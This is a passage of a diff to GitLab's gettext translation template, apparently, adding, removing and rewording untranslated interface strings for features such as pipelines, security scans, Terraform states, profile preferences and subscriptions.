+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
